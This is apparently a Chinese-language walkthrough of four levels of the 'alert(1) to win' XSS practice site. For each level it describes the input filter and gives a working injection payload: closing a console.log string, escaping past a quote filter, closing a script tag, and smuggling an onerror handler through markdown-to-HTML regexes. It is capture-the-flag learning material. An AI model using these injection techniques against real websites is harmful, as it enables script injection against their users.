练习网站:alert(1)to win
Warmup:
没有任何过滤,直接闭合前面的console.log.
输入: “);alert(1)//
Adobe:
知识点:
- Js的正则表达式。参考:https://www.sohu.com/a/279549933_713028
第二题过滤了 ”,替换成了转义字符+”
思路:将/再转义一次。再闭合console.log
输入:\)”;alert(1)//
Json:
知识点:函数JSON.stringfy() 参考:https://www.runoob.com/js/javascript-json-stringify.html
即,会过滤\ “ ,(在前面添加一个转义字符) 但是没有过滤< > /
思路:直接闭合<script>
输入:”);</script><script>alert(1)//
Markdown:
知识点:
- JS正则表达式 参考:https://www.sohu.com/a/279549933_713028
- onerror: 参考: https://www.w3school.com.cn/jsref/event_onerror.asp
出现错误时自动触发后面的JS代码。支持这个函数的标签有:<img>, <object>, <style>
- replace 用法:https://www.w3school.com.cn/jsref/jsref_replace.asp
- Img 的 alt属性 : 图片无法加载时在原位置显示相应的文本
思路:
这三个正则表达式含义为:
- 将 < 替换成实体字符 <, 将”替换成 实体字符 "
- 如果字符串包含有http://开头的字符串,则变为<a href="http://">http://</a>
- 如果字符串包含[[img_src|img_alt]]格式的字符串,则变为<img alt="img_alt" src="img_src.gif">
由于图片肯定无法加载即一定出现错误,所以可以构造 onerror=’alert(1)’
但是不知道是哪一个部分引起alert
所以看了答案,由答案倒推
做的几个实验:
- <img onerror='alert(1)'> 无alert
- <img onerror='alert(1)' src="a.gif"> 有alert
- <img http://onerror='alert(1)' src="a.gif"> 有alert
- <img alt="http://onerror='alert(1)'" src="a.gif"> 无
- <img alt="<a href="http://onerror='alert(1)'" src="a.gif"> 有
- <img alt="<a href="http://onerror='alert(1)'" src="a.gif">">http://onerror='alert(1)']]</a> 有
结论:有一个onerror='alert(1)' 显示出来并且要有一个 src=””
把alt 闭合掉,所以$2里面要有一个”
但是根据正则1,不能直接写出来,所以利用正则2 href 后面的 ” 来添加
所以构造一个http://onerror=’alert(1)’
把这个式子放在$2 的位置, $1的位置随便填一个
构造[[a|http://onerror='alert(1)']]
//仅在chrome上成功。。